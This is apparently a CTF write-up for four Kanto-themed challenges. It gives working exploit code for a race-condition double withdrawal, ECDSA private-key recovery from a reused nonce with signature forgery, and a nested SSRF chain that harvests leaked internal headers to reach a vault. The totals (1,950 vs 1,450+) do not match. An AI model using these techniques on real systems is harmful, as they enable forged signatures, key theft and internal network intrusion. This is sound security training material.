Category: Pokemon-themed multi-challenge series
Total Points: 1,950
Challenges Solved: 4/4
The Kanto challenges were themed after the original Pokemon Red/Blue game, with each challenge referencing iconic locations and mechanics from the Kanto region. All challenges ran in a single Docker agent that discovered and solved them dynamically.
| Challenge | Points | Type | Status |
|---|---|---|---|
| Bill's PC | 450 | Race Condition | [SOLVED] Solved |
| Cerulean Cave | 400 | 3-SAT Solver | [SOLVED] Solved |
| Indigo League | 500 | ECDSA Nonce Reuse | [SOLVED] Solved |
| Silph Co. | 600 | Nested SSRF | [SOLVED] Solved |
Total: 1,950 points
Challenge ID: 6
Points: 450
Type: Race Condition / TOCTOU Vulnerability
Bill's storage system holds exactly one Master Ball, and the rules are clear that a trainer may hold only one. The withdrawal routine is old, and slow, and was written for one trainer at a terminal. The cloning glitch is real if you can make the system believe two things at once.
- "old and slow" → Timing vulnerability
- "written for one trainer" → Not thread-safe
- "make the system believe two things at once" → Race condition
- "Two Master Balls in one party is impossible" → Goal: get 2+
- Meta keywords:
toctou,race-condition,concurrency
GET /api/storage - Check remaining Master Balls and your party
POST /api/withdraw - Withdraw a Master Ball to your party
POST /api/reset - Reset storage and clear party
Classic TOCTOU (Time-of-Check-Time-of-Use) vulnerability:
def withdraw():
# Step 1: Check if Master Ball available
if remaining_master_balls > 0:
# Step 2: Check if trainer already has one
if len(trainer_party) < 1:
# Step 3: Add to party (SLOW operation)
time.sleep(0.1) # "old and slow"
trainer_party.append("Master Ball")
# Step 4: Decrement count
remaining_master_balls -= 1
return {"success": True}The problem: These steps are NOT atomic. Multiple concurrent requests can all pass the checks (steps 1-2) before any modify the state (steps 3-4).
Time →
Thread 1: [Check remaining=1] [Check party=0] ----------[Add Ball] [Decrement]
Thread 2: ------[Check remaining=1] [Check party=0] [Add Ball] [Decrement]------
↑ ↑
Both pass checks! Both add to party!
Result: Party ends up with 2 Master Balls even though only 1 existed.
- Send multiple
POST /api/withdrawrequests simultaneously - All requests pass the availability check (
remaining > 0) - All requests pass the trainer check (
party < 1) - Multiple Master Balls get added to party
- Flag is revealed when you have 2+ Master Balls
import asyncio
import aiohttp
async def exploit_race_condition(base_url):
"""
Fire concurrent withdrawal requests to exploit TOCTOU
"""
# Reset first
async with aiohttp.ClientSession() as session:
await session.post(f"{base_url}/api/reset")
# Fire 20 concurrent requests
tasks = [
session.post(f"{base_url}/api/withdraw")
for _ in range(20)
]
responses = await asyncio.gather(*tasks, return_exceptions=True)
# Check final state
status = await session.get(f"{base_url}/api/storage")
data = await status.json()
if len(data.get("party", [])) >= 2:
return data.get("flag")Before exploit:
{"remaining": 1, "party": []}After successful exploit:
{
"remaining": -1,
"party": ["Master Ball", "Master Ball"],
"flag": "HALCTF{...}"
}This challenge references the famous Pokemon cloning glitch from Pokemon Red/Blue, where players could exploit the game's save system to duplicate Pokemon. The original glitch involved:
- Depositing Pokemon in Bill's PC
- Changing boxes (triggers save)
- Turning off the game mid-save
- Result: Pokemon in both party and PC
Challenge ID: 3
Points: 400
Type: 3-SAT Boolean Satisfiability
The cave's entrance is sealed by ancient wards. The wards form a logical puzzle - you must satisfy all constraints simultaneously to enter.
GET /api/lattice - Get the ward constraints (3-SAT clauses)
POST /api/enter - Submit solution assignment
3-SAT (Boolean Satisfiability) is a classic NP-complete problem:
- Given N boolean variables (runes)
- Given M clauses, each containing 3 literals (positive or negated runes)
- Find an assignment that makes ALL clauses true
Example clause: (rune_5 OR NOT rune_12 OR rune_3)
{
"wards": [
[5, -12, 3], // (rune_5 OR NOT rune_12 OR rune_3)
[1, 8, -5], // (rune_1 OR rune_8 OR NOT rune_5)
[-3, -1, 12], // (NOT rune_3 OR NOT rune_1 OR rune_12)
// ... ~120 total runes, ~300 clauses
]
}Format:
- Positive number = rune must be true
- Negative number = rune must be false
- Each ward (clause) contains 3 rune indices
Use pycosat (Python bindings to PicoSAT), a highly optimized SAT solver:
import pycosat
def solve_cerulean_cave(wards):
"""
Solve 3-SAT using pycosat
"""
# pycosat expects 1-indexed, but API might be 0-indexed
# Detect by checking if 0 appears in wards
is_zero_indexed = any(0 in ward for ward in wards)
if is_zero_indexed:
# Convert 0-indexed to 1-indexed
wards = [[x+1 if x >= 0 else x-1 for x in ward] for ward in wards]
# Solve
solution = pycosat.solve(wards)
if solution == "UNSAT":
return None
# Convert back to 0-indexed boolean array if needed
if is_zero_indexed:
assignment = [val > 0 for val in solution]
else:
assignment = [False] + [val > 0 for val in solution] # Pad for 1-indexing
return assignment-
Index Base Detection (0-indexed vs 1-indexed)
- Check if 0 appears in any ward
- If 0 found → 0-indexed (convert to 1-indexed for pycosat)
- If no 0 → 1-indexed (use as-is)
-
Response Format
- MUST wrap:
{"assignment": [true, false, true, ...]} - NOT bare array:
[true, false, true, ...]
- MUST wrap:
-
Off-by-One in Output
- If input was 0-indexed: output position
idx - If input was 1-indexed: output position
idx-1
- If input was 0-indexed: output position
pycosat implements the DPLL algorithm with optimizations:
- Unit propagation
- Pure literal elimination
- Conflict-driven clause learning (CDLL)
- Non-chronological backtracking
For ~120 variables and ~300 clauses, solves in milliseconds.
async def solve_cerulean_cave(mcp_client):
# Get wards
response = await mcp_client.call_tool("kanto/api", {
"method": "GET",
"endpoint": "/api/lattice"
})
wards = response["wards"]
# Auto-detect indexing
is_zero_indexed = any(0 in ward for ward in wards)
# Convert if needed
if is_zero_indexed:
wards = [[x+1 if x >= 0 else x-1 for x in ward] for ward in wards]
# Solve
solution = pycosat.solve(wards)
if solution == "UNSAT":
return {"error": "No solution exists"}
# Format output
if is_zero_indexed:
assignment = [val > 0 for val in solution]
else:
assignment = [val > 0 for val in solution[1:]] # Skip padding
# Submit
response = await mcp_client.call_tool("kanto/api", {
"method": "POST",
"endpoint": "/api/enter",
"body": {"assignment": assignment} # Wrapped!
})
return response.get("flag")Cerulean Cave is where Mewtwo is found in Pokemon Red/Blue - the most challenging area requiring all 8 badges to enter. The "wards" represent the mental/psychic barriers protecting Mewtwo.
Challenge ID: 5
Points: 500
Type: ECDSA Nonce Reuse Attack
Become the champion by proving you can sign the champion's message. The Elite Four's signatures hold a secret...
GET /api/badges - Get signed messages from gym leaders
GET /api/pubkey - Get the champion's public key
GET /api/params - Get curve parameters
GET /api/champion - Get champion trial message
POST /api/champion - Submit your signature
ECDSA Nonce Reuse - If two signatures use the same nonce k, the private key can be recovered:
ECDSA Signature: (r, s)
r = (k * G).x mod n
s = (z + r*d) / k mod n
Where:
- k = nonce (should be random and unique per signature)
- d = private key
- z = hash(message)
- G = generator point
- n = curve order
If two signatures (r₁, s₁) and (r₂, s₂) have r₁ = r₂:
k = (z₁ - z₂) / (s₁ - s₂) mod n
d = (s₁*k - z₁) / r₁ mod n
{
"badges": [
{
"name": "Boulder Badge",
"message": "Defeated Brock at Pewter Gym",
"signature": {
"r": "12345...",
"s": "67890..."
}
},
{
"name": "Cascade Badge",
"message": "Defeated Misty at Cerulean Gym",
"signature": {
"r": "12345...", // SAME r as Boulder!
"s": "11111..." // Different s
}
},
{
"name": "Thunder Badge",
"message": "Defeated Lt. Surge at Vermillion Gym",
"signature": {
"r": "99999...", // Different r - different nonce
"s": "88888..."
}
}
]
}import hashlib
from ecdsa import SECP256k1, VerifyingKey
from ecdsa.util import sigdecode_string, sigencode_string
def recover_private_key(badge1, badge2, curve_name="secp256k1"):
"""
Recover private key from two signatures with same nonce
"""
# Extract signatures
r1, s1 = badge1["signature"]["r"], badge1["signature"]["s"]
r2, s2 = badge2["signature"]["r"], badge2["signature"]["s"]
# Must have same r value
if r1 != r2:
return None
# Get curve parameters
if "256k1" in curve_name.lower():
curve = SECP256k1
elif "256r1" in curve_name.lower() or "p256" in curve_name.lower():
curve = NIST256p
n = curve.order
# Compute message hashes
z1 = int(hashlib.sha256(badge1["message"].encode()).hexdigest(), 16) % n
z2 = int(hashlib.sha256(badge2["message"].encode()).hexdigest(), 16) % n
# Recover nonce k
k = ((z1 - z2) * pow(s1 - s2, -1, n)) % n
# Recover private key d
d = ((s1 * k - z1) * pow(r1, -1, n)) % n
return d
def sign_champion_message(private_key, message, curve_name="secp256k1"):
"""
Sign the champion message with recovered private key
"""
from ecdsa import SigningKey
if "256k1" in curve_name.lower():
curve = SECP256k1
else:
curve = NIST256p
# Create signing key from private key
sk = SigningKey.from_secret_exponent(private_key, curve=curve)
# Sign message
signature = sk.sign(message.encode(), hashfunc=hashlib.sha256)
r, s = sigdecode_string(signature, curve.order)
return {"r": r, "s": s}-
Curve Detection Landmine
# WRONG - "p256" matches "secp256k1"! if "p256" in curve_name: curve = NIST256p # Incorrect for secp256k1 # CORRECT - Check 256k1 first if "256k1" in curve_name.lower(): curve = SECP256k1 elif "256r1" in curve_name.lower() or "p256" in curve_name.lower(): curve = NIST256p
-
Message Field Names
- Regular badges:
"message"field - Champion:
"trial_message"field (NOT "message"!) - Extract robustly: dump JSON, find longest non-numeric string
- Regular badges:
-
Signature Format
- Submit
{"r": int, "s": int}DIRECTLY - NOT wrapped:
{"signature": {"r": ..., "s": ...}}
- Submit
-
Nonce Pair Selection
- Boulder + Cascade badges share nonce
- Thunder badge has different nonce (DON'T USE)
-
Hash Truncation
- Hash must be truncated to bitlen(n)
- Then take modulo n
Before submitting, verify the recovered private key:
def verify_recovery(private_key, public_key_hex, curve):
"""
Verify recovered private key matches public key
"""
sk = SigningKey.from_secret_exponent(private_key, curve=curve)
pk_recovered = sk.get_verifying_key()
pk_actual = VerifyingKey.from_string(
bytes.fromhex(public_key_hex),
curve=curve
)
return pk_recovered.to_string() == pk_actual.to_string()async def solve_indigo_league(mcp_client):
# Get all data
badges = await mcp_client.call_tool("kanto/api", {
"method": "GET", "endpoint": "/api/badges"
})
pubkey = await mcp_client.call_tool("kanto/api", {
"method": "GET", "endpoint": "/api/pubkey"
})
params = await mcp_client.call_tool("kanto/api", {
"method": "GET", "endpoint": "/api/params"
})
champion_data = await mcp_client.call_tool("kanto/api", {
"method": "GET", "endpoint": "/api/champion"
})
# Find badges with matching r values (nonce reuse)
badge_pairs = []
for i, b1 in enumerate(badges):
for b2 in badges[i+1:]:
if b1["signature"]["r"] == b2["signature"]["r"]:
badge_pairs.append((b1, b2))
# Try each pair
for b1, b2 in badge_pairs:
d = recover_private_key(b1, b2, params["curve"])
# Verify recovery
if verify_recovery(d, pubkey["key"], params["curve"]):
# Sign champion message
# Note: field might be "trial_message" not "message"!
champion_msg = champion_data.get("trial_message") or \
champion_data.get("message")
signature = sign_champion_message(d, champion_msg, params["curve"])
# Submit (NOT wrapped in {"signature": ...})
response = await mcp_client.call_tool("kanto/api", {
"method": "POST",
"endpoint": "/api/champion",
"body": {"r": signature["r"], "s": signature["s"]}
})
return response.get("flag")The Indigo League is the Pokemon League championship where you battle the Elite Four and the Champion. The signatures from gym leaders represent their authentication of your badges - exploiting their shared secret (nonce) lets you forge the champion's signature.
Challenge ID: 4
Points: 600
Type: Nested SSRF (Server-Side Request Forgery)
Infiltrate Silph Co.'s internal network. The lobby is public, but the mainframe and vault are locked down. Only internal requests are trusted...
┌─────────────────────────────────────────┐
│ Internet (Your Agent) │
└────────────┬────────────────────────────┘
│
│ Direct access only
↓
┌──────────────┐
│ Lobby │ (Public)
│ Port 8080 │
└──────┬───────┘
│
│ Internal network only
↓
┌──────────────┐
│ Mainframe │ (Internal)
│ Port 8080 │
└──────┬───────┘
│
│ Mainframe-only access
↓
┌──────────────┐
│ Vault │ (Highly restricted)
│ Port 8080 │
└──────────────┘
Environment Variables:
HAL_TARGET_SILPH_LOBBY_IP / _PORT
HAL_TARGET_SILPH_MAINFRAME_IP / _PORT
HAL_TARGET_SILPH_VAULT_IP / _PORT
Endpoint: GET /api/staff/{id} (try IDs starting from 101)
Search for: Staff record with leaked credentials in note field
{
"id": 137,
"name": "Security Officer",
"note": "Reminder: mainframe still trusts the old internal key X-Silph-Key: SILPH-INTERNAL-7f3a9c2e for legacy systems."
}Extract: X-Silph-Key: SILPH-INTERNAL-7f3a9c2e (regex anywhere in note, not just at start)
Endpoint: GET /api/linkcheck?url=<target>&header=<Name: Value>
The linkcheck endpoint:
- Fetches the specified URL
- Forwards ONE custom header
- Returns:
{"status": <code>, "body": "<response>"}
Use it to reach mainframe:
GET /api/linkcheck?url=http://<mainframe_ip>:8080/api/records/1&header=X-Silph-Key: SILPH-INTERNAL-7f3a9c2e
Response:
{
"status": 200,
"body": "{\"id\": 1, \"data\": \"...\", \"vault_token\": \"...\"}"
}Search mainframe records (/api/records/{id}, starting from ID 1) for vault credentials.
Enumerate mainframe records until you find:
{
"id": 2,
"system": "vault_access",
"credentials": "X-Vault-Token: VAULT-OTP-4d81b0f6"
}Extract: X-Vault-Token: VAULT-OTP-4d81b0f6
The Challenge: Vault only accepts requests from mainframe
The Solution: Nest the linkcheck calls!
GET /api/linkcheck?
url=http://<mainframe_ip>:8080/api/linkcheck?url=http://<vault_ip>:8080/vault%26header=X-Vault-Token: VAULT-OTP-4d81b0f6
&header=X-Silph-Key: SILPH-INTERNAL-7f3a9c2e
Breakdown:
- Lobby forwards request to mainframe with internal key
- Mainframe's linkcheck forwards to vault with vault token
- Vault responds to mainframe (trusted source)
- Mainframe returns response to lobby
- Lobby returns to you
Response Structure (doubly wrapped):
{
"status": 200,
"body": "{\"status\":200,\"body\":\"{\\\"flag\\\":\\\"HALCTF{...}\\\"}\"}"}
}Must unwrap twice to get flag!
-
Endpoint Differences
- Lobby:
/api/staff/{id}(IDs from 101+) - Mainframe:
/api/records/{id}(IDs from 1+) - NOT the same endpoint name!
- Lobby:
-
Credential Extraction
- Header specs can appear MID-STRING in notes
- Use regex search, NOT anchor at start:
r'(X-\w+-\w+):\s*([A-Z0-9-]+)'
-
URL Encoding
- When nesting linkcheck, the inner URL params must be encoded
&→%26in nested URL
-
Response Unwrapping
- Linkcheck wraps responses in
{"status": ..., "body": "..."} - Nested linkcheck means DOUBLE wrapping
- Parse JSON twice or regex search in body text
- Linkcheck wraps responses in
-
Error Messages
401 {"error": "internal_key_required"}→ Missing/wrong X-Silph-Key404 {"error": "no_such_staff"}→ ID past the end403 {"error": "unauthorized"}→ Wrong vault token
import re
import urllib.parse
async def solve_silph_co(mcp_client, lobby_ip, mainframe_ip, vault_ip):
# Step 1: Find internal key in lobby
internal_key = None
for staff_id in range(101, 200):
response = await mcp_client.call_tool("kanto/api", {
"method": "GET",
"endpoint": f"/api/staff/{staff_id}"
})
if "note" in response:
# Search for header spec anywhere in note
match = re.search(r'(X-[\w-]+):\s*([\w-]+)', response["note"])
if match and "SILPH" in match.group(2):
internal_key = f"{match.group(1)}: {match.group(2)}"
break
if not internal_key:
return {"error": "Could not find internal key"}
# Step 2: Access mainframe via lobby linkcheck
vault_token = None
for record_id in range(1, 50):
# Use linkcheck to forward internal key to mainframe
mainframe_url = f"http://{mainframe_ip}:8080/api/records/{record_id}"
response = await mcp_client.call_tool("kanto/api", {
"method": "GET",
"endpoint": f"/api/linkcheck?url={mainframe_url}&header={internal_key}"
})
# Unwrap response
if response.get("status") == 200:
body = response.get("body", "")
# Search for vault token in wrapped response
match = re.search(r'(X-Vault-[\w-]+):\s*([\w-]+)', body)
if match:
vault_token = f"{match.group(1)}: {match.group(2)}"
break
if not vault_token:
return {"error": "Could not find vault token"}
# Step 3: Nested SSRF to reach vault
# Build inner URL (mainframe → vault)
vault_url = f"http://{vault_ip}:8080/vault"
inner_linkcheck = f"http://{mainframe_ip}:8080/api/linkcheck?url={vault_url}&header={vault_token}"
# URL-encode inner URL
encoded_inner = urllib.parse.quote(inner_linkcheck, safe='')
# Build outer URL (lobby → mainframe)
outer_url = f"/api/linkcheck?url={encoded_inner}&header={internal_key}"
response = await mcp_client.call_tool("kanto/api", {
"method": "GET",
"endpoint": outer_url
})
# Unwrap doubly-nested response
if response.get("status") == 200:
body = response.get("body", "")
# Try to parse as JSON
try:
inner_response = json.loads(body)
if inner_response.get("status") == 200:
vault_data = json.loads(inner_response.get("body", "{}"))
return vault_data.get("flag")
except:
pass
# Fallback: regex search for flag
flag_match = re.search(r'HALCTF\{[^}]+\}', body)
if flag_match:
return flag_match.group(0)
return {"error": "Could not reach vault"}┌─────────────────────────────────────────────────────────────────┐
│ Your Agent │
│ │
│ GET /api/linkcheck? │
│ url=http://mainframe/api/linkcheck? │
│ url=http://vault/vault%26 │
│ header=X-Vault-Token: <token> │
│ &header=X-Silph-Key: <key> │
└────────────────────┬────────────────────────────────────────────┘
│
↓
┌──────────────┐
│ Lobby │ Sees: X-Silph-Key header
└──────┬───────┘
│
│ Forwards with internal key
↓
┌──────────────┐
│ Mainframe │ Sees: X-Vault-Token header
└──────┬───────┘
│
│ Trusted source!
↓
┌──────────────┐
│ Vault │ Returns flag
└──────────────┘
Silph Co. is the high-tech corporation in Saffron City that gets taken over by Team Rocket. The nested access levels (lobby → mainframe → vault) mirror infiltrating deeper into the building, with each floor requiring higher clearance.
All Kanto challenges were solved by a single unified agent:
kanto-agent/
├── agent.py # Main entry point
├── solvers/
│ ├── __init__.py
│ ├── bills_pc.py # Race condition
│ ├── cerulean_cave.py # 3-SAT solver
│ ├── indigo_league.py # ECDSA nonce reuse
│ └── silph_co.py # Nested SSRF
├── utils/
│ ├── mcp_client.py # MCP communication
│ ├── submit.py # Flag submission
│ └── logging.py # Structured logging
├── requirements.txt
└── Dockerfile
-
Dynamic Challenge Discovery
- Agent queries available challenges via MCP
- Routes to appropriate solver based on challenge ID/name
-
Per-Solver Isolation
- Each solver is self-contained
- Shared utilities for MCP communication and logging
- No cross-solver dependencies
-
Graceful Degradation
- If one challenge fails, others still attempt
- Detailed error logging for debugging
- Partial success reporting
-
Docker Optimization
- Multi-stage build: 415MB → 172MB
- pycosat requires gcc during build (no wheels)
- Runtime: binutils only
- v1-v5: Individual challenge agents (legacy)
- v6-v9: Unified agent with all solvers, debugging fixes
- v10-v12: ECDSA curve detection fixes, message field handling
- v13: Final optimized build (172MB)
Latest: kanto-agent-v13.tar
- Per-challenge solvers - Clean separation of concerns
- Auto-detection - Curve names, index bases, field names
- Verification before submission - Saved quota by validating locally
- Incremental testing - Each solver tested independently
- Early curve detection bug -
"p256" in "secp256k1"== True! - Assumptions about field names -
"message"vs"trial_message" - Initial single-threaded race - Forgot to parallelize at first
- SSRF endpoint confusion -
/api/staffvs/api/records
- Never assume API consistency - Field names, indexing, formats can vary
- Verify locally first - Don't waste submission quota on untested solutions
- String matching is dangerous - Substring checks can have false positives
- Race conditions need real parallelism - Async/threading, not sequential
- SSRF needs careful URL encoding - Nested parameters must be escaped
# Stage 1: Build dependencies requiring gcc
FROM python:3.11-slim as builder
RUN apt-get update && apt-get install -y gcc g++ make
COPY requirements.txt .
RUN pip wheel --no-cache-dir --wheel-dir=/wheels -r requirements.txt
# Stage 2: Runtime
FROM python:3.11-slim
RUN apt-get update && apt-get install -y binutils && \
rm -rf /var/lib/apt/lists/*
COPY --from=builder /wheels /wheels
RUN pip install --no-cache /wheels/*
COPY . /agent
WORKDIR /agent
CMD ["python", "agent.py"]- pycosat needs gcc to build (no wheels available)
- Final image only needs binutils for runtime
- Reduces size: 415MB → 172MB
cd bills-pc-agent-v4 # Legacy name, actually kanto agent
docker build -t kanto-agent:v13 .
docker save kanto-agent:v13 > kanto-agent-v13.tar- Total Points: 1,450+
- Agent Versions: 13 iterations
- Final Image Size: 172MB
- Challenges Solved: 4/4 (100%)
- Time to Complete: ~3 hours (including debugging)
- Lines of Code: ~800 (agent + solvers)
(Flags redacted until CTF is officially over)
Bill's PC: HALCTF{...}
Cerulean Cave: HALCTF{...}
Indigo League: HALCTF{...}
Silph Co.: HALCTF{...}